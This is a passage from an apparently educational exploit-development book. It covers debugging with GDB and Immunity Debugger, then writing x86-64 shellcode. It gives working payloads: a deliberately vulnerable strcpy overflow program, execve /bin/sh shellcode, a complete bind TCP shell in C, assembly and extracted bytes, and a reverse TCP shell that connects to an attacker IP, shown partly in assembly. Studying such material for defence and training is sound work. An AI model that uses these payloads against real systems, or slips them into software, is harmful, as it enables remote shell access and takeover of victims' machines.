RDI is now holding 0xb, and the next instruction is syscall, which will execute the exit syscall: 



Now the program exits normally.

Let's see another example, which is hello world in C language:

#include <stdio.h>

int main()
{
    printf ("hello world\n");
    return 0;
}

Let's compile it and debug it using GDB:

$ gcc hello.c -o hello
$ gdb ./hello

Now let's set the disassembling mode to Intel:

set disassembly-flavor intel

Set our breakpoint at the main function:

break main

Now if we want to look at the assembly instruction of any function, then we should use the disassemble command followed by the name of the function. For example, we want to disassemble the main function, and therefore we can use disassemble main:

 

The first two instructions are to save the content of the base pointer or the frame pointer by pushing RBP to the stack, then, at the end, RBP will be extracted back. Let's run the application to see further using the run command:




It stops at lea rdi,[rip+0x9f]  # 0x5555555546e4. 

Let's check what's inside that location:



It points to the location of the hello world string. 

Let's step forward by using stepi or s:



As you can see, the RDI register is now loaded with the address of the hello world string.

The next instruction, call 0x555555554510 <puts@plt>, which is calling the printf function, is to print the hello world string.

We can also check the contents of 0x555555554510:



It's the jmp instruction; let's check that location too:





Now, let's step forward using the stepi command: 



Let's step forward again: 



The next instruction is push 0x0; let's keep going using stepi: 



The next instruction is jmp 0x555555554500; let's step forward by entering s:



Now we are inside the actual execution of the printf function; keep stepping forward for the next instruction:



The next instruction, call 0x7ffff7abc650 <strlen>, means calling the strlen function to get the length of our string.

Keep stepping forward until you hit the ret instruction, then you are back to our execution again inside printf: 



Let's make the program continue debugging until it hits an error using the continue command:



In the previous example, we didn't follow all instructions but just learned how to debug using GDB, and understand and investigate every instruction.
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Now, let's try something more advanced and yet very simple without going into specifics. Here, we will see what is going to happen if we use a buffer overflow code in Windows. We are going to detect what will happen inside your CPU if we execute that code.

First, open Code::Block in Windows 7, then go to File menu | New | Empty file. Then, write our buffer overflow:

#include <stdio.h>
#include <string.h>

void copytobuffer(char* input)
{
    char buffer[15];
    strcpy (buffer,input);
}
int main (int argc, char *argv[])
{
    int local_variable = 1;
    copytobuffer(argv[1]);
    return 0;
}

After that, go to File menu | Save file, then save it as buffer.c:



Then, go to Build menu | Build. 

Then, open Immunity Debugger as the administrator, and from File menu |Open, select the executable buffer file, then specify our input not to crash our code but just to see the difference, such as aaaa:



Then, hit Open:



To get the functionality of each button, just hover your mouse cursor over it and read the status bar.   

For example, if I hover my mouse cursor over the red play button , it will show in the status bar its functionality, which is Run program:



Let's hit the Run program button one time. The program starts and then stops at the program entry point, which is the main function. Let's hit that button again and notice what happens in the status bar:



As you can see, the program exited with status zero, which means no errors.

OK, let's now try to cause the program to crash to see the difference. Let's close Immunity Debugger and run it again, then open the same program, but we need to cause the program to crash, so specify the Arguments, such as 40 of the a character:



Then hit Open:



Let's hit the Run program button twice and notice what happens in the status bar:



The program can't execute 61616161; do you know why that is? It's our input and 61 is a character in hex.

Let's have a look at both the register and stack window:



Notice that the stack has 16 of the a characters; the rest of our input filled the EAX register and it filled RIP, and that's why our application is complaining that it can't execute 61616161.
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In this chapter, we went through debugging, and how to use debuggers in both Linux and Microsoft Windows. We also looked at how to follow the flow of execution and see what is going on behind the scenes. We only scratched the surface of this topic because we don't want to get carried away from our main goal. Now let's keep going to the next chapter, which will cover one of our main goals here: creating shellcodes. We will look at how we are going to apply everything we have learned so far to create our customized shellcode.
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Let's get ready to dive deep into this topic where we will be using what we have learned so far to create simple, fully customized shellcodes. This will get even more adventurous when we face the obstacles that are bad characters and find ways of removing them. Moving on, we will see how to create advanced shellcodes and also create our shellcodes using the Metasploit Framework automatically.

The following are the topics that we will cover in this chapter:


	The basics and bad characters

	The relative address technique

	The execve syscall

	Bind TCP shell

	Reverse TCP shell

	Generating shellcode using Metasploit
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Firstly, let's begin with what a shellcode is. As we have already seen earlier, the shellcode is a machine code that can be used as a payload to be injected in stack overflow attacks, which can be obtained from the assembly language.

So what we have to do is simple: write what we want the shellcode to do as assembly, then perform some modifications, and convert it to a machine code. 

Let's try to make a hello world shellcode and convert an executable form to machine code. We need to use the objdump command:

$ objdump -D -M intel hello-world

The output for the preceding command is shown in the following screenshot:



Do you see what's inside that red rectangular box? This is the machine code of our hello world example. But we need to convert it to this form: \xff\xff\xff\xff, where ff represents the operation code. You can do that manually line by line, but it would be somewhat tedious. We can do that automatically using just one line:

$ objdump -M intel -D FILE-NAME | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

Let's try that with our code:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s


The output of the preceding command is shown in the following screenshot:



This is our machine language:

\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a

Next, we can use the following code for testing our machine:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

int main()
{
   printf("Shellcode Length: %d\n", (int)strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}

Let's compile it and run it:

$ gcc -fno-stack-protector -z execstack hello-world.c 
$ ./a.out

The output of the preceding command is shown in the following screenshot:



You can see from the preceding output that our shellcode didn't work. The reason was the bad characters in it. This takes us to the next section, which discusses ways to remove them.
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Bad characters are characters that can break the execution of a shellcode because they can be interpreted as something else.

For example, consider \x00, which means zero value, but it will be interpreted as a null terminator and will be used to terminate a string. Now, to prove that, let's take another look at the previous code:

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

When we tried to execute it, we got an error, Shellcode Length: 14. If you look at the 15th operation code, you will see \x00, which is interpreted as a null terminator.

Here is the list of bad characters:


	
00: This is the zero value or null terminator (\0)



	
0A: This is the line feed (\n)



	
FF: This is the form feed (\f)



	0D: This is the carriage return (\r)



Now, how to remove these bad characters from our shellcode? Actually, we can remove them using what we know so far in assembly, such as choosing which part of one register should depend on the size of the moved data. For example, if I want to move a small value such as 15 to RAX, we should use the following code:

mov al, 15

Alternatively, we can use arithmetic operations, for example, to move 15 to the RAX register: 

xor rax, rax
add rax, 15

Let's take a look at our machine code, one instruction at a time:



The first instruction is mov rax, 1, and it contains 0 because we were trying to move 1 byte (8 bits) to a 64-bit register. So it would fill the rest with zeros, which we can fix using mov al, 1,  so we moved 1 byte (8 bits) to an 8-bit part of the RAX register; let's confirm that:

global _start

section .text

_start:
    mov al, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall


    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:



We managed to remove all the bad characters from the first instruction. Let's try another method with the second instruction, which is using arithmetic operations such as adding or subtracting.

First, we need to clear the register using the xor instruction, xor rdi, rdi. Now, the RDI register contains zeros; we add 1 to its value, add rdi, 1:

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall


    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:



We fixed that too. Let's fix all that and leave moving the hello world string to the next section:

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    xor rdx,rdx
    add rdx,12 
    syscall


  xor rax,rax
  add rax,60
  xor rdi,rdi
  syscall

section .data
    hello_world: db 'hello world',0xa

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:



We managed to remove all the bad characters from our shellcode, which leaves us with how to deal with addresses when copying strings.
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The relative address is the current location relative to the RIP register, and relative value is a very good technique to avoid using hardcoded addresses in assembly.

How can we do that? Actually, it's made so simple by using lea <destination>, [rel <source>], where the  rel instruction will compute the address of the source relative to the RIP register.

We need to define our variable before the code itself, which in turn has to be defined before the RIP current location; otherwise, it will be a short value and the rest of the register will be filled with zeros like this:

 

Now, let's modify our shellcode with this technique to fix the location of the hello world string:

global _start

section .text

_start:
    jmp code
    hello_world: db 'hello world',0xa

code:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    lea rsi, [rel hello_world]
    xor rdx,rdx
    add rdx,12 
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:



No bad characters at all! Let's try it as a shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:



Let's now try to compile this shellcode and run it using our C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xeb\x0c\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x8d\x35\xe4\xff\xff\xff\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";

int main()
{

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();

}

Now, run the following commands:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:



It worked! Now, this is our first shellcode.

Let's move to see more techniques on how to deal with addresses.
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Now, we will talk about a new technique on how to deal with the string's address, which is the jmp-call technique.

This technique is simply to first make the jmp instruction to the string we want to move to a specific register. After that, we call the actual code using the call instruction, which pushes the string's address to the stack, then we pop the address into that register. Take a look at the next example to fully understand this technique:

global _start

section .text

_start:
    jmp string
    
code:
    pop rsi
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    xor rdx,rdx
    add rdx,12 
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

string:
    call code
    hello_world: db 'hello world',0xa

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:



No bad characters; let's now review what we did. First, we executed a jmp instruction to the string, then we called the actual code using the call instruction, which will cause the next instruction to be pushed into the stack; let's see that code inside GDB:

$ gdb ./hello-world
$ set disassembly-flavor intel
$ break _start
$ run
$ stepi

The output of the preceding command is shown in the following screenshot:



The next instruction is calling the code using the call code instruction. Notice what is going to happen in the stack:



The address of the hello world string is pushed into the stack and the next instruction is pop rsi, which moves the address of the hello world string from the stack to the RSI register.

Let's try to use it as a shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s 

The output of the preceding command is shown in the following screenshot:



Implementing the same in C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\xeb\x1f\x5e\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let's compile and run it:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:
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Here, we are going to learn another technique to deal with addresses using the stack. It's very simple, but we have two obstacles. First, we only allow 4 bytes to push into the stack in one operation—we will use registers to help us in this. Second, we have to push out strings into the stack in reverse—we will use Python to do that for us.

Let's try to solve the second obstacle. Using Python, I'm going to define string = 'hello world\n', then I will reverse my string and encode it to hex in one line using string[::-1].encode('hex'). Next, we will have our string in reverse and encoded:



Done! Now, let's try to solve the first obstacle:

global _start

section .text
_start:

    xor rax, rax
    add rax, 1
    mov rdi, rax
    push 0x0a646c72
    mov rbx, 0x6f57206f6c6c6548
    push rbx
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 12
    syscall

    xor rax, rax
    add rax, 60 
    xor rdi, rdi 
    syscall

First, we push 8 bytes to the stack. We could push the rest into the stack divided by 4 bytes at each operation, but we also can use registers to move 8 bytes in one operation and then push the content of that register into the stack:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:



Let's try to use it as a shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Now, run the following commands:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:



That was easy too.

In the next section, we will discuss how to make a useful shellcode using the execve syscall.



            

            
        
    
        

                            
                    The execve syscall

                
            
            
                
Now, we will learn how to make a useful shellcode using execve. Before we continue, we must understand what the execve syscall is. It's a syscall used to execute a program or a script. Let's take an example of how to use execve to read the /etc/issue file using the C language.

First, let's take a look at the execve requirements:

$ man 2 execve

The output of the preceding command is shown in the following screenshot:



As it says, the first argument is the program we want to execute.

The second argument, argv, is a pointer to an array of arguments related to the program we want to execute. Also, argv should contain the program's name.

The third argument is envp, which contains whatever arguments we want to pass to the environment, but we can set this argument to NULL.

Now, let's build C code to execute the cat /etc/issue command:

#include <unistd.h>

int main()
{
    char * const argv[] = {"cat","/etc/issue", NULL};
    execve("/bin/cat", argv, NULL);
    return 0;
}

Let's compile and run it:

$ gcc execve.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:



It gave us the content of the /etc/issue file, which is Kali GNU/Linux Rolling \n \l.

Now, let's try to execute /bin/sh in assembly using the execve syscall. Here, I'm going to use the stack technique; let's do this code step by step:

 char * const argv[] = {"/bin/sh", NULL};
 execve("/bin/sh", argv, NULL);
 return 0;

First, we need to use NULL as a sign of separation in the stack. Then, we move the stack pointer to RDX register to get our third argument:

xor rax, rax
push rax
mov rdx, rsp

Then, we need to push our path, which is /bin/sh, into the stack, and since we only have seven bytes and we don't want any zeros in our code, let's push //bin/sh or /bin//sh. Let's reverse this string and encode it to hex using Python:

string ='//bin/sh'
string[::-1].encode('hex')

The output of the preceding command is shown in the following screenshot:



Now that we have our string ready, let's push it into the stack using any register, since it contains 8 bytes:

mov rbx, 0x68732f6e69622f2f
push rbx

Let's move RSP to the RDI register to get our first argument:

mov rdi, rsp

Now, we need to push another NULL as a string separation, then we need a pointer to our string by pushing RDI content, which is the address of our string to the stack. Then, we move the stack pointer to the RDI register to get the second argument:

push rax
push rdi 
mov rsi,rsp 

Now, all our arguments are ready; let's get the execve syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve

The output of the preceding command is shown in the following screenshot:



The execve syscall number is 59:

add rax, 59
syscall

Let's put our code together:

global _start

section .text

_start:
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

Now, run the following commands:

$ nasm -felf64 execve.nasm -o execve.o
$ ld execve.o -o execve
$ ./execve

The output of the preceding command is shown in the following screenshot:



Let's convert it to a shellcode:

$ objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:



We will use C code to inject our shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = 
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Now, run the following commands:

$ gcc -fno-stack-protector -z execstack execve.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:
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Now, let's move further to do something really useful, which is building a TCP bind shell.

The TCP bind shell is used to set up a server on a machine (victim), and that server is waiting for a connection from another machine (attacker), which allows the other machine (attacker) to execute commands on the server. 

First, let's take a look at a bind shell in C language to understand how it really works:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
 
int main(void)
{
  int clientfd, sockfd;
  int port = 1234;
  struct sockaddr_in mysockaddr;

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  mysockaddr.sin_family = AF_INET; //--> can be represented in
  numeric  as 2
  mysockaddr.sin_port = htons(port);
  mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented
  in  numeric as 0 which means to bind to all interfaces

  bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
 
  listen(sockfd, 1);
 
  clientfd = accept(sockfd, NULL, NULL);
  
  dup2(clientfd, 0);
  dup2(clientfd, 1);
  dup2(clientfd, 2);
  char * const argv[] = {"sh",NULL, NULL};
  execve("/bin/sh", argv, NULL);
  return 0;
}

Let's break it down into pieces to understand how it works:

sockfd = socket(AF_INET, SOCK_STREAM, 0);

Firstly, we created a socket, which takes three arguments. The first argument is to define the protocol family, which is AF_INET, which represents IPv4 and can be represented in numeric form by 2. The second argument is to specify the type of connection, and here, SOCK_STREAM represents TCP and can represented in numeric form by 1. The third argument is the protocol and it's set to 0, which tells the operating system to choose the most appropriate protocol to use. Now let's find the socket syscall number: 

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket

The output of the preceding command is shown in the following screenshot:



From the obtained output, the socket syscall number is 41.

Let's create the first part in assembly:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

The output value, which is sockfd, will be stored in the RAX register; let's move it to the RDI register:

mov rdi, rax

Now to the next part, which is filling the structure, mysockaddr, to be an input to the bind function:

 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = INADDR_ANY;

We need it in the form of a pointer; also, we have to push to the stack in reverse order.

First, we push 0 to represent to bind to all interfaces (4 bytes).

Second, we push the port in the form of htons (2 bytes). To convert our port to htons, we could use Python:



Here is our port (1234) in htons form (0xd204).

Third, we push the value 2, which represents AF_INET (2 bytes):

xor rax, rax 
push rax
push word 0xd204
push word 0x02

Having our structure set, let's prepare the bind function:

bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

The bind function takes three arguments. The first one is sockfd, which is already stored in the RDI register; the second is our structure in the form of a reference; and the third is the length of our structure, which is 16. Now what's left is to get the bind syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep bind

The output of the preceding command is shown in the following screenshot:



From the preceding screenshot, we can see that the bind syscall number is 49; let's create the bind syscall:

mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall

Now, let's set the listen function, which takes two arguments:

listen(sockfd, 1);

The first argument is sockfd, which we have stored already in the RDI register. The second argument is a number, which represents the maximum number of connections the server can accept, and here, it allows only one.

Now, let's get the listen syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep listen

The output of the preceding command is shown in the following screenshot:



Now, let's build the bind syscall:

xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi 
syscall

We'll move on to next function, which is accept:

 clientfd = accept(sockfd, NULL, NULL);

The accept function takes three arguments. The first is sockfd, and again, it is already stored in the RDI register; we can set the second and the third arguments to zero. Let's get the accept syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept

The output of the preceding command is shown in the following screenshot:



xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall

The output of the accept function, which is ; clientfd, will be stored in the RAX register, so let's move that to a safer place:

mov rbx, rax

Execute the dup2 syscall:

 dup2(clientfd, 0);
 dup2(clientfd, 1);
 dup2(clientfd, 2);

Now, we will execute it three times to duplicate our file descriptor to stdin, stdout, and stderr, which take (0, 1, 1), respectively.

The dup2 syscall takes two arguments. The first argument is the old file descriptor—in our case, it is clientfd. The second argument is our new file descriptors (0, 1, 2). Now, let's get the dup2 syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2

The output of the preceding command is shown in the following screenshot:



Now, let's build the dup2 syscall: 

mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

Then, we add our execve syscall:

char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

Now, everything is ready; let's put all the pieces together in one code:

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
    syscall

; Save the sockfd in RDI Register 
    mov rdi, rax

;Creating the structure 
    xor rax, rax 
    push rax
    push word 0xd204
    push word 0x02
;Bind syscall
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 16
    xor rax, rax
    add rax, 49
    syscall

;Listen syscall
    xor rax, rax
    add rax, 50
    xor rsi , rsi
    inc rsi
    syscall

;Accept syscall
    xor rax , rax
    add rax, 43
    xor rsi, rsi
    xor rdx, rdx
    syscall

;Store clientfd in RBX register 
    mov rbx, rax

;Dup2 syscall to stdin
    mov rdi, rbx
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

Let's assemble and link it:

$ nasm -felf64 bind-shell.nasm -o bind-shell.o
$ ld bind-shell.o -o bind-shell

Let's convert it to a shellcode:

$ objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:



Let's inject it into our C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let's compile it and run it:

$ gcc -fno-stack-protector -z execstack bind-shell.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:



Now our shellcode is working and waiting; let's confirm:

$ netstat -ntlp

The output of the preceding command is shown in the following screenshot:



It's listening now on port 1234; now, from another Terminal window, start nc: 

$ nc localhost 1234

The output of the preceding command is shown in the following screenshot:



Now, it's connected and waiting for our commands; let's try:

$ cat /etc/issue

The output of the preceding command is shown in the following screenshot:



Now we have our first real shellcode!
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In this section, we will create another useful shellcode, which is the reverse TCP shell. A reverse TCP shell is the opposite of the bind TCP, as the victim's machine establishes a connection to the attacker again.

First, let's have a look at it in C code:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h> 


int main(void)
{
    int sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    mysockaddr.sin_family = AF_INET;
    mysockaddr.sin_port = htons(port);
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");

    connect(sockfd, (struct sockaddr *) &mysockaddr,
    sizeof(mysockaddr));
  
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

First, we will compile and execute this on one of our victim machines (Ubuntu). We will set up a listener on the attacking machine (Kali), and the shell will connect back from Ubuntu to Kali by adding Kali's IP in the code.

Let's set up a listener on Kali using the nc command or the netcat tool:

$ nc -lp 1234

On Ubuntu, let's compile and run our reverse-tcp shellcode:

$ gcc reverse-tcp.c -o reverse-tcp
$ ./reverse-tcp

Back to my Kali again—I'm connected!



That was simple!

Now, let's build up a reverse TCP shell in assembly, and then convert it into a shellcode.

The socket function is exactly as we explained in bind TCP. Move the output of the socket to the RDI register:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

mov rdi, rax

Next is filling the mysockaddr structure, except that we have to push out the attacker's IP address in 32-bit packed format. We will do that using Python:



So our IP address in 32-bit packed format is 01eea8c0.

Let's build our structure and move the stack pointer to RSI:

xor rax, rax 
push dword 0x01eea8c0
push word 0xd204
push word 0x02

mov rsi, rsp

 Now, let's build the connect function: 

 connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

Then, run the following command:

$ man 2 connect

The output of the preceding command is shown in the following screenshot:



The connect function also takes three arguments. The first argument is sockfd (the output from the socket function), which is stored in the RDI register. The second is a reference to our structure, which is stored in the RSI register. The third argument is the size of our structure.

Let's get the connect syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect

The output of the preceding command is shown in the following screenshot:



From the obtained output, we can see that the syscall number is 42. Now, let's build the connect syscall:

xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall

Now, the dup2 function is the same except that the first argument will be sockfd, which is already stored in the RDI register; let's build that too:

xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

Now, the final part, which is the execve syscall for /bin/sh:

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

Now, let's pack them together: 

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
    syscall

; Save the sockfd in RDI Register
    mov rdi, rax

;Creating the structure
    xor rax, rax 
    push dword 0x01eea8c0
    push word 0xd204
    push word 0x02

;Move stack pointer to RSI
    mov rsi, rsp

;Connect syscall
    xor rdx, rdx
    add rdx, 16
